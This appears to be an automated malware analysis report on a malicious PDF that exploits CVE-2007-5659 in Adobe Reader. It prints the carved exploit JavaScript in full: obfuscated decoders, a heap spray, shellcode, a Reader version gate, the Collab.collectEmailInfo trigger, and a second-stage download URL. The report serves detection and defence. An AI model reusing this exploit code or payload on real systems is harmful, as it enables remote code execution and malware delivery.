Malicious PDF — malware analysis report

Static analysis result for SHA-256 772f841ad576958c…

MALICIOUS

PDF

9.4 KB First seen: 2026-05-08
MD5: 27bbc13925e88943da3a6363329d92ee SHA-1: 80a2e341c4dfdf93d715aae0315f17e89bddd9f9 SHA-256: 772f841ad576958cf84ad95c4c827152c7f7595cbca1bebaf4c644c2331abc7f
266 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains JavaScript that exploits CVE-2007-5659, specifically targeting Adobe Reader versions. The script is designed to download and execute a second-stage payload from the URL http://ajnuocfdrukv.com/nte/TREST1.html/eH3eeea69bV0100f060006R2f8f1d8e102T2426a59f201l0019Kb9cec081. This indicates a clear intent to compromise the user's system by leveraging a known vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var TE3t6MN1_CS = new Array();var jWD2ng_mPY = 0;function G_KiFI0(be26_A, yT0L636_6_5L_2v){var Qrj8_63Ut1Ds_UF = yT0L636_6_5L_2v.toString();var v_02_y = "";for(var qlOLS4i = 0; qlOLS4i < Qrj8_63Ut1Ds_UF.length; qlOLS4i++) {var ju1__0h = parseInt(Qrj8_63Ut1Ds_UF.substr(qlOLS4i, 1));if (!isNaN(ju1__0h)) {ju1__0h = ju1__0h.toString(16);if (ju1__0h.length == 1) { ju1__0h = "0" + ju1__0h; }else if (ju1__0h.length != 2) { ju1__0h = "00"; }v_02_y = ju1__0h + v_02_y;}}while(v_02_y.length < 8) { v_02_y = …
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • syncAnnotScan annotation-staging primitive low PDF_FOXIT_SYNCANNOTSCAN
    PDF JavaScript calls syncAnnotScan() — a no-op annotation-enumeration primitive used by exploit-kit JavaScript to stage payload reads from annotation /Subject fields before eval(). Not a vulnerable sink itself; rarely seen in legitimate PDFs. (identified after nested-decoder de-obfuscation)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ajnuocfdrukv.com/nte/TREST1.html/eH3eeea69bV0100f060006R2f8f1d8e102T2426a59f201l0019Kb9cec081 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x103 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
legacy_pdfkit_stage_000.js deobfuscated-js z-percent hex-pair decoded JavaScript at offset 0x3C3 4919 bytes
SHA-256: 7a590a04ea87350e84c3856974289b971d37449302c9c2940b4de6ef81f0d52b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var TE3t6MN1_CS = new Array();var jWD2ng_mPY = 0;function G_KiFI0(be26_A, yT0L636_6_5L_2v){var Qrj8_63Ut1Ds_UF = yT0L636_6_5L_2v.toString();var v_02_y = "";for(var qlOLS4i = 0; qlOLS4i < Qrj8_63Ut1Ds_UF.length; qlOLS4i++) {var ju1__0h = parseInt(Qrj8_63Ut1Ds_UF.substr(qlOLS4i, 1));if (!isNaN(ju1__0h)) {ju1__0h = ju1__0h.toString(16);if (ju1__0h.length == 1) { ju1__0h = "0" + ju1__0h; }else if (ju1__0h.length != 2) { ju1__0h = "00"; }v_02_y = ju1__0h + v_02_y;}}while(v_02_y.length < 8) { v_02_y = "0" + v_02_y; }var RB__E7R_75Xpud = be26_A.toString(16);if (RB__E7R_75Xpud.length == 1) { RB__E7R_75Xpud = "0" + RB__E7R_75Xpud; }else if (RB__E7R_75Xpud.length != 2) { RB__E7R_75Xpud = "00"; }v_02_y = "3" + RB__E7R_75Xpud + "P" + v_02_y;return v_02_y;}function E_26__HgG0sEiC(A____0, G8_oxN8a){var F_w2B_huF__u20 = new Array("");var x_P87ma = A____0;var U_3SwX_U3Mk0b;if ((U_3SwX_U3Mk0b = A____0.lastIndexOf("%u00")) != -1) {if (U_3SwX_U3Mk0b + 6 == A____0.length) {F_w2B_huF__u20[0] = A____0.substr(U_3SwX_U3Mk0b + 4, 2);x_P87ma = A____0.substring(0, U_3SwX_U3Mk0b);}}U_3SwX_U3Mk0b = 1;for (qlOLS4i = 0; qlOLS4i < G8_oxN8a.length; qlOLS4i++) {var y4_J_riEA = G8_oxN8a.charCodeAt(qlOLS4i).toString(16);if (y4_J_riEA.length == 1) { y4_J_riEA = "0" + y4_J_riEA; }F_w2B_huF__u20[U_3SwX_U3Mk0b] = y4_J_riEA;U_3SwX_U3Mk0b++;}qlOLS4i = F_w2B_huF__u20[0].length ? 0 : 1;F_w2B_huF__u20[U_3SwX_U3Mk0b] = "00";F_w2B_huF__u20[U_3SwX_U3Mk0b + 1] = "00";U_3SwX_U3Mk0b += 2;if ((F_w2B_huF__u20.length - qlOLS4i) % 2) {F_w2B_huF__u20[U_3SwX_U3Mk0b] = "00";}while(qlOLS4i < F_w2B_huF__u20.length) {x_P87ma += "%u" + F_w2B_huF__u20[qlOLS4i + 1] + F_w2B_huF__u20[qlOLS4i];qlOLS4i += 2;}x_P87ma += "%u0000";return x_P87ma;}function N1_ICc8400g(maN6J_g0_U, JW7NC5m3){while (maN6J_g0_U.length*2<JW7NC5m3) {maN6J_g0_U += maN6J_g0_U;}maN6J_g0_U = maN6J_g0_U.substring(0,JW7NC5m3/2);return maN6J_g0_U;}function Y_daKkfl2AQ0(Mjaw5r____6, b_Bww_JNe, K_4_35k_6_Fn){var U_o4_L_xA = 0x0c0c0c0c;var maN6J_g0_U = unescape(b_Bww_JNe);var G8_oxN8a = G_KiFI0(Mjaw5r____6, K_4_35k_6_Fn);var rvPA_6_k_4x = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var A____0 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%ueb00%ue900%u00fc%u0000%u645f%u30a1%u0000%u7800%u8b0c%u0c40%u708b%uad1c%u688b%ueb08%u8b09%u3440%u408d%u8b7c%u3c68%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u782e%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%uffe8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4270%u5350%u0056%u7468%u7074%u2f3a%u612f%u6e6a%u6f75%u6663%u7264%u6b75%u2e76%u6f63%u2f6d%u746e%u2f65%u5254%u5345%u3154%u682e%u6d74%u2f6c%u4865%u6533%u6565%u3661%u6239%u3056%u3031%u6630%u3630%u3030%u3630%u3252%u3866%u3166%u3864%u3165%u3230%u3254%u3234%u6136%u3935%u3266%u3130%u306c%u3130%u4b39%u3962%u6563%u3063%u3138";app.j11_P_A_R7h_a3 = unescape(E_26__HgG0sEiC(A____0, G8_oxN8a));var e8K_r1LJ_Cwn = 0x400000;var t_m_Y_r00 = rvPA_6_k_4x.length * 2;var JW7NC5m3 = e8K_r1LJ_Cwn - (t_m_Y_r00+0x38);maN6J_g0_U = N1_ICc8400g(maN6J_g0_U, JW7NC5m3);var lfL2Rw = (U_o4_L_xA - 0x400000)/e8K_r1LJ_Cwn;for (var G6__7__6 = 0; G6__7__6 < lfL2Rw; G6__7__6++) {TE3t6MN1_CS[G6__7__6] = maN6J_g0_U + rvPA_6_k_4x;}}function w6h_7KA04mv(){var wDV7R_E = "";for (qlOLS4i = 0; qlOLS4i < 12; qlOLS4i++) {wDV7R_E += unescape("%u0c0c%u0c0c");}var bo2P0i1rWJ2 = "";for (qlOLS4i = 0; qlOLS4i < 750; qlOLS4i++) {bo2P0i1rWJ2 += wDV7R_E;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: bo2P0i1rWJ2});app.clearTimeOut(jWD2ng_mPY);}function iG2m_XiEvT(Y__QFl_R7Uu_2_4){var D_u5K7_B = jWD2ng_mPY;if ((Y__QFl_R7Uu_2_4 >= 8 && Y__QFl_R7Uu_2_4 < 8.11) || Y__QFl_R7Uu_2_4 < 7.1) {Y_daKkfl2AQ0(23, "%u0c0c%u0c0c", Y__QFl_R7Uu_2_4);w6h_7KA04mv();} if (D_u5K7_B) {app.clearTimeOut(D_u5K7_B);}}var K_4_35k_6_Fn = 0;var n0n_JD72_g__f_c = app.plugIns;for (var p__yD7__Lb = 0; p__yD7__Lb < n0n_JD72_g__f_c.length; p__yD7__Lb++) {var I_P_2ec = n0n_JD72_g__f_c[p__yD7__Lb].version;if (I_P_2ec > K_4_35k_6_Fn) { K_4_35k_6_Fn = I_P_2ec; }}if (app.viewerVersion == 9.103 && K_4_35k_6_Fn < 9.13) {K_4_35k_6_Fn = 9.13;}app.B5G7_m___e6_C = iG2m_XiEvT;jWD2ng_mPY = app.setTimeOut("app.B5G7_m___e6_C(" + K_4_35k_6_Fn.toString() + ")", 50);
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x3C3 11601 bytes
SHA-256: 79371305d462f00f2a141b476e1cf8fba05bdb49c15d53c9a49ff740e927b262
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function RD___W8g62__7(bBB_oXCW_C8fh, V3Y_8_hJ1umo){var Dt_C_oBD_V = arguments.callee;Dt_C_oBD_V = Dt_C_oBD_V.toString();var YoX5_0 = 0;try {if (app) {YoX5_0 = 2;}} catch(e) { }var Lt464_LA = new Array();if (!bBB_oXCW_C8fh) { var OYB_KH2TuW_e = 0;var enRs34WXd = 0;while(enRs34WXd < Dt_C_oBD_V.length) {var d5xD7_lS = 0;var a2u__5__o_pC = Dt_C_oBD_V.charCodeAt(enRs34WXd);if (a2u__5__o_pC >= 48 && a2u__5__o_pC <= 57) { d5xD7_lS = 1; }if (d5xD7_lS) {if (OYB_KH2TuW_e == 4) { OYB_KH2TuW_e = 0; }if (isNaN(Lt464_LA[OYB_KH2TuW_e])) { Lt464_LA[OYB_KH2TuW_e] = 0; }Lt464_LA[OYB_KH2TuW_e] += a2u__5__o_pC;if (Lt464_LA[OYB_KH2TuW_e] > 512) {Lt464_LA[OYB_KH2TuW_e] -= 512;}OYB_KH2TuW_e++;}enRs34WXd++;}} else {Lt464_LA = bBB_oXCW_C8fh;}for(OYB_KH2TuW_e = 4; OYB_KH2TuW_e > 0; OYB_KH2TuW_e--) {if (Lt464_LA[OYB_KH2TuW_e - 1] > 256) {Lt464_LA[OYB_KH2TuW_e - 1] -= 256;}}var c__6_8X10Msi3o = 0;var h__sE2_ur = "";var nW_8t_Xe = 0;var mAs481Kjam = 0;var O46_4o_K7Ax = 0;var b__yB6nOEEJ__Q2;var W5us252D7WH = 0;while(mAs481Kjam < V3Y_8_hJ1umo.length) {var X2Tr57 = V3Y_8_hJ1umo.substr(mAs481Kjam, 1);var VJC3m_41 = parseInt(X2Tr57, 16);if (O46_4o_K7Ax) {b__yB6nOEEJ__Q2 += VJC3m_41;if (c__6_8X10Msi3o == 4) {c__6_8X10Msi3o -= 4;}var LDtM5MStr = b__yB6nOEEJ__Q2;LDtM5MStr = LDtM5MStr - (W5us252D7WH + 2) * Lt464_LA[c__6_8X10Msi3o];if (LDtM5MStr < 0) {var vk_FdRWL = Math.floor(LDtM5MStr / 256);LDtM5MStr = LDtM5MStr - vk_FdRWL * 256;}LDtM5MStr = String.fromCharCode(LDtM5MStr);if (YoX5_0 == 1) {h__sE2_ur += VJC3m_41;} else if (YoX5_0 == 2) {h__sE2_ur += LDtM5MStr;} else {h__sE2_ur += mAs481Kjam;}c__6_8X10Msi3o++;W5us252D7WH++;O46_4o_K7Ax = 0;} else {b__yB6nOEEJ__Q2 = VJC3m_41 * 16;O46_4o_K7Ax = 1;}mAs481Kjam++;}eval(h__sE2_ur);return 0;}
	RD___W8g62__7(0, "EA22365DB0B2BB157A669A368B08638951914232733DD9A3562AD5BDF5B0965A26414EB4E0FF1628E3E6BC7E8C6250B98F37695B9FF121C09249C314573E866224A966E20E632722F0F90599DCD186DCCA904A6CB12937A3DAB2174BADA7808AA64B5CFC52C03D75357D1FC4412B9006F40A885D08732BC7031F1B2AD8F4B2CFA2B5B310D05F718FABC1F5C0A2A602098A50847F5B1638EE046BFE50326412A12A02D6FD0DB9778DD72D55C5A9C5E04474C2E0BC88506C3A44E51C867EBFF8F82A34D9710DF1BBC0199F3A311173379DFCECB4FEE8ACA4449872478075D55B2F95D3C487913EC7E034214C220CD551BB4776FD1B30E5C9830EA19BABBF6A740AB8342392A29BFB16A68CC07754367CB860C40836283DC95A0D04C5FBEC9D4162276F45ABC4371DF2E3D89C8D954E5004BE46254C9BAD20716149E62A3D349F495CAF78EC2FA13A4A3240B476E2AE8B12FA513C77F10E37D094F1CA41B1A3C7AD9C0161DA3CBE11217F5916DA1D44CFF93CB1714DDE6D1AB1CF09266ABDF4DF89DC7C643AC1597B86640232A554AF051A735084B52A097D1F4BBD4435ED32C0ABDDC1DFFD06C259A0E32954C5A9C5D2398473AF8DB97397015608755549752A0E2560E32D44CD73813AB83CF70B7E0BA61128FCF6E8C28067C3394EB4C5E34C1EA2C818853C4988B92DD9A70562C4207B338AD4EADCDFA833C4945CEBEB453238EDFCE4BAD2CEFAC1965BAB6471FC62C84BA62C3D7181B86E042BC1C702D46127289037D10E361628ACAAA24EA78E96A97C23364C9BC2EFA38360B10D7C4AA44760E672E45095E81E01F9BD6ECC0070FBD6907352B32F37A899E10C4AB0559D59561146BD47AD3A436398F19C3E44A7FE2C01A991F75D75F6105C2115F5FBA081C683A31CA1245A807BCE24F5A1A9BE55795FBBC164BD39EE047B05354715F2BB1300A914EEAC5F76DC6961098CE2D02B848196A85C7AAE3054DB5BAE2C92E0BB2723A428FCFF8AC0239E43170B3C05810426F8ADA77D7A4186294775C21410EB93DADF8F8181DDF372D9A2441C974FC20F8E1A222A20EC7A13D75CBAEB473638D3092B848CE0CD0A87418D648B246F9940911B055B8C107F1C2A851042D69219FA805B8FDE2C1036CAD8CB9A9E5550C6743F59645CBE2AC385A2A4D72EFE7B8F55F324F53B7D0018313AAC82CCC6AF08F3904448F23E4A91B9E8CF28C38DBF8E672E8FCD7EC851672461D4BA4B18C3402CF0896009A828F3C426DC36EBF4DFB8A46FB01ECF61518FA8FE44D4926DB20E8921846F25C638D221690946F5151BE21AC18C32FB807BB8DC5841D8B910E06B747C94A35C3A75F165085B946B85EE05596FEB7144D668DC0AB883F7EE64389EDA10F302AE8DB321C12959758D143F189391D290916FDBF576E181441FB867A13366E7FA27EDDA31CF8970A1AC472914EC20147593DAE9C181398D648B246F9942E4492F6F910A9A523084C5F8957558E7745BB5FB22DB0EEFA9CE4EA7A2ADDEB304476494DC0D847194AC172C12604A2FE773EFFC55394D1325DF7915A58DC9C46C347EE82C24C498F2BC116C7C9898A35972D57DBB546672A020CD2705E13523DD8761256823BAC4643256FEB5F98DD38BA32FC532494181B913BD8BB408374C5282B064FE8AF453AD4156401D11E503EDB711057656B5F34C6017D513173185879DA8A56358F99DDD5B7F6BC729DE352FF0624A14BCC9E49649E5DD2EF0A4B42AC8ECC6BCCA5AA94A3C926CD710DB548CC496506CB2E07622712627856D8F3388E6EF1B25ED5703C8B1A7BC705538A7143B95BBC2BBEEAF49AE624C0230E248D01E2C6E86DD721F1EBBC81FEC7858095431C8CC2FD3ECBFF6DD91BB7183BDBDF1310D82DC2F836688E42A52349F8E26B15FAD395B3446324000ADCCC470D9B46B343EB72337E896CBFB3DC17BBF98A91354F871EC1B547B910BBA1F32DBF936EE546ADC5F28C1C624025403C7C2B8DCB68A1CBB623A519FEE2BB87FBCE8486924A1B82CFF38DC047A39350915C2A9E4C39F32FB807BB8DC5841D8B910E06B747CB18D6E38A13744D1247B6BCCF2DB5369F9433B0CBD93F487782A1A6C4491B4DEB4FEE8ACA4449872457571D512E254DCEA7C933FAAE06C2E72444BDA22792F6613E00F34D070F99C89E0BC775DF9B1E1E66D8C8FC31EBB81B57191ED81D563BD2701653DD4512A28D3C70ED4886EFA8043D2CEFDD62DE9E7D399D44E5004CC30442573EA19714F669CD7314A62391FA14ADC535F0A402C4ED2A40BFA82D9EFA2805CC8300CDA84B4BC06A9558B597A409BCF5EEC50764A980BDA1E15CB3A40E08080F0A655CC15550B41DFC9E9799F7E64EF976A808094D103F28D65BB26341379C22CCD48E106844E7A406A12E7D419C32DD48495A2BF76521ADA082472C3BF94BB6D5C811487E130653CBCE806554FBA473B1478C019852C0F033C1E6CC91EC7B6F7D4C05AD06E3C7DB9162EEF7EC00B4D7B6296ED69279359548F22851E68EBFBFFF2E544CD89B7E2ED633623D328F49CB18DB3DE6486AD53620F6FD044D02908798AF97F1A13BBFCFCD47519F14151BEEA03F220EBA9CB7A9A98A5EBC7456656AAE4E0815073D3EC5A18758627B036A6179F2D55394BFA6519E69EDFDE907B3DDB3213EECAFE0A38C09ECFA7543A83017DD85367706BEDB61C0DBD333508699F1B9C57F0DA15DC57EBD7F7D0D38B9222880D538078F8FFBA97A4C6485A5F7DC872FE8AD139A84B492B41FFF1F5C1A1FDCCC558A4B45C1C089C08EB7FB5C394DA9D4B6E1B83102C946175FDB9696FE9703F0EB8C6ECBB6B07237C2F73E216BDC8F2BECA11AB417BC4C403181A549EC4647B58D1C74DE9543256C6677E4670130C1BF3A431EFC870D4BF4A6B38AA200AAB85A8FE02B639BE7B7C066F9F73DC3301743DD5515937C1082FD6905EDC4309D2D5FDE1F1A9EEA555A55555FE8D012D1D61F2EA82898BA12A6E0D755219F63DAD115DED56FD09C175D1FA860AC9623982AF103ED789FED209B09785AE66145CD6410218333A9AD1DA2447A502F9069A60229F1D06DB1E1D5BB10AE6BFA478693292236D58690E2FE76476B55E4457BAB321127D13187C018A312D05DDD916CA4300AE4DB6EA5F520B911AE06C8AB299E2745F6D0A491E2C983C89E50E5639E62E01227895FC8C313ADC3B0061B926CCC0B1957D6695397F89712A13EC6991C9927F40CBB126E2675B4DD7108A3370130CECDDB531C68EB1AEBC4A30FEE9FAF4728C92FDDA744E7C2AA1FE409E4493F4F81C3FBDA61DF995C5F1EA5929ED5109D2D5FDE1F1A9EEA555A55555FE8D012D1D61F2E8818961A12A3C05704919F669DF0C5DED562912BC75D1FA80D9FA943982AC0D08A189FED209819B85AE671185CE410218313469D1DA231DA0F9F9066C8FECA01D06D44CF025B10AB789ACA36932BD513984690E02BD64A7B55E79538485211250131482018AFF29D4A9D916980DD4B14DB6BC5B2308911AE36C8A8999E2A2347033491E2C6942B6E50E5939B93601227891FCBF313ADC350059B926FAC6E18F7D669A6F528D712A10E96AC6C992524598B1292E6317239A15BE0A75EA10E132DE77D99D61EAC477310F99362975C1A5AD167449833E513A409944A1F9426054D093093E94C500AC456EE45117C3C1420E22BBAE919AA15C64C079462C1D70B4DDC65459AF1B314AA67A2BB629F241930043E94EBF78E1EB751ECC627746A15208A5C9ECC14A7C65906A59565CFF4CBD0D76396A10C8115AA5FC09C359A2EC712EC9C95EEC25BCC6A5CEDAA774ED8162388479CFF1FA617EC54A3966897F31CE3D26147B1477F16AD4ACE9D48952CFAF6071A96E23DA9CD5D57E8C82DACE61729E345B0B21AA428AF2FE1976BA3213E56DD6F48C43FAD17A358BCCE4B902B4968829897E7F8C7CE8052E6495D85041829EB6361E515A229A2781F986E8E01FF39D86D4996CADB18A383AA923E9B28CA1EBD2698E843D5FF535DE44A108022192FB6117FC810A01A55529D9961994D100CD36EADFA155919A61B989071962A2B5F084499EB3EA3C05658E2AE234B301A2FD14F40AB1BAE1BBB60FB9A6496EAC11FDE69CBCD10E71AA906D9713491254BD1C3229AEDC951F46953E36C56B62E1B22DC70A4FE16AC1C6B09199B67C1F91232D9677FC03BA51BAC71D4C5379C233D54A1609BE424AFC28C5EEEC039913C1C25A71BB2F111AD2DAE03C79C6D7A66F305D4658DA306E31CAF0CC5565A9720FE0AB96E9CE3C2B1067F59EC5E1F6F2A1D2BC27976A41CA7CED17ED59D6077F7F3E8DF634EC5C4911DA24793872D92222EEDD73C9DE6DDBBF77254ED9F8FB7281E2C003797E717A5EF945CE39E638312C50BDA61C2B92CBF1EA545BE48409D2D132E023A9EE9C589D8855FE8C33585161F2F0B3545DA12A6F0A704C19F639E23D8FED56270CC17ED1FAB60FF9693982E2433ED689FED43AB29B85AE6446580241022139699CD1DA2446D62EF9066B92ECA21D06091B202DB10AB38CAB746932944E6B82690EFFBB61A7B55E465785AE21124CE31B79018A0128D5A9D916940DD1834DB6BB2D22DD911AE7398B8599E26E636B32491E32663EBBE50E2A66BA5E01227EC7FB8E313AE23B065CB926CBBFB2917D669A6B538A712A121E6B97C99252739EB4292E5E4B22C915BE0B45EA12E132AA77DA9E61EAC147350D9936F97090A2AD16774A8139513A46A146D6F9423281CF65093E8EFB02D8456EE8591A92C142DEF6B7AC919AA25A66BE7946272372AEDDC65A5BAFEE314A734929B729F20F5DFB12E94EC27BDFB5751EC767473DA1520BA197B9C14A7F6B9369595657CF51BF0D763771E29B115AA3FA0AC759A2EF752EC5C95EEF26C2CAA5CEA77377ED81623B5379CDF1FA5F77C31D39668A7E2FD33D2617820F4AF16AD3ABEAD78952CF7E5B71A96E1FD5A208D57E8782A79D61726C3357E221AA3F8EF6CB1976BA3212E06DD6F78942F8D17A035AC7E9B6C8DDCDC81FCE3A4DB49C14211886980C7C7D4088BE242E9A4A5FC851B93939F90CEEF3D770ECD083A5FF5A691C9C02239CBBCCB8CD646084649B3D5EA1759AFD08727E0A514901A7F43EA66C4313645BCBBC0AC8F1FCAD9C559C5560C4CA32660DB0DC25B07D88EEE53CF57D3966F754BE3B63274C230D047318EABE10089934379C0F13E7C5FBBC1FA36CAE7C694E57BD59AD4D394F981E96382FCF0C4BFF545ADC656CF011481554FEC5B084A4B977F58528758292CF16E49375EF3E342E749B2DFC61F447811045FC5CC8E615EF9A27FBB458A0D9250CEFC3DCFE4C89BEA79677739943441562813EA737B93121AC523B1C7CC010B88406CC32F0590CE5C4BDAC8D881A936E54A0AB2711057EC0E7948A48CEF076D9545B4DD710900A7013E41B1CAE31E1896CB0AC5C3638D3F8239C928DC4C1B07F98377E3C4B895BA7332C337CF7670FF485B547C9652C285731ABCD2CEB14DFC0A284CB5C8FE88A2E142A5CEA199F5A73DB1C3C3495391FA176F32C6E27172344EB7924C0CD26FAA68270F04647DF8400D23DAB6CAB7A6415911344B6637765ABCCDC303BA71B33D6546ADC5F1ACC0A582E15B406ECA8C09478267C2A28517FB93DF17B91E31D7D11906D2DCF53D155B52B611F2909A4DFCA845813917E78D65831C597E2D07EC2B6E7D09D6D9DF946CE71656F8523BE6931E72D3FCF719C41CF6D37CC673F5BE4E1FDBEEEB4A22384463C776EF04628A681CC8E885CB4D438224C220C952B69457D03F90FF1E131E08973AABC50204AE010109090D6B3CC6D39C7679BF760997DA24624464FB85C21E9D3D922AC7258F95C61D104361BEFE7E8D891CD8783FDC343590D799DFBC09095DD173A38AF8560E667F1219A294A3022FAAB1BADCB1C09937E479CFFFA9D84F60F3C8655C2A8663154064DFF3F4B36B6D5A04D55E0F737FD998E2E9161FE09383169B4FFD79DA6AFAB1CC93D614A7F1632FA9AA80452835F74B643CF85103CB2218B201DF9D813F2AA49FB9F5F96F9581E04A0CE2B7FB5C394B19B726D1C5B083E5549752AF03833F2643B1A98BAFFC272E5D42D2988F302DAF9DBAF8F46D9684EB480D51EF65499C443422DC1E0630A72514BB7279E4970E60CF0DDB431DC976DA6B5357C55941A239CADB3F4009650A17A8BF76F9D34ADF4042A4EC1515F22BBF92DC08B5F205325AECCF5DAF4B0998E4AE15593B9B7F6691D9FAD1B735049D5146B26868553D33BD2518CFA40F802C7BCE2EDAFE0DF724441E953009A9F06BC3EB255887D935659E853EC2A2A24B40DD55C13D33539F2A68125AA5DE0195DE439EB0AB5A4ABA086E6976A8597A50BECD08B79EF1C495CB3835BE386D121690C504256129922D1D23CE6915F73E3604B04D20413299171D5DDAC2BA83D991045A37F9026086621AC733D1F68D123B88509E3642F75F6D1D1ADAC987861C368959983143F059681E03D8A3DD6E04EFD63174BCC4FA83A7017DB2822E67818D17795FC745F52B8F8239CA8CFB3CC6D39C77B8D3730B273C133FF6180B86E04378C032BBF6430E6804BBCFB330724DFE9CB84E56967E8B31D564A6AF31DC39792EB23473EA6391CCA63CD3B5F2D44E417AC900BB9AFDCC99C7343DB23469A8404BC20AB69BF6C694C83D37BD356214159F5C43C44A22E37CC54AA39A65EB1CC4A2C65BA0BE9BEEBA6B613C15F7B8AB307ECC26965C9174521876D22C338FC437D3B480160FFAF13E7D2FDD86D616FB52C15C5E7F00F3DB384A9D89B33971792C939554583F1CC2F7EE56D4CDB8A960B906B320B642F8ECA10D7ADB97DC13896767BADB5FA560D6FCBFB614E7BCFE071098505298551B9443F27123011E17E09B8B1E9B4376149E4EF0672A3A4E70EA378AB6A622453913691FFED477CCC9017FEC7F402D46667E29553B0103F112FEBA19545974552B276FD14226CA6F3");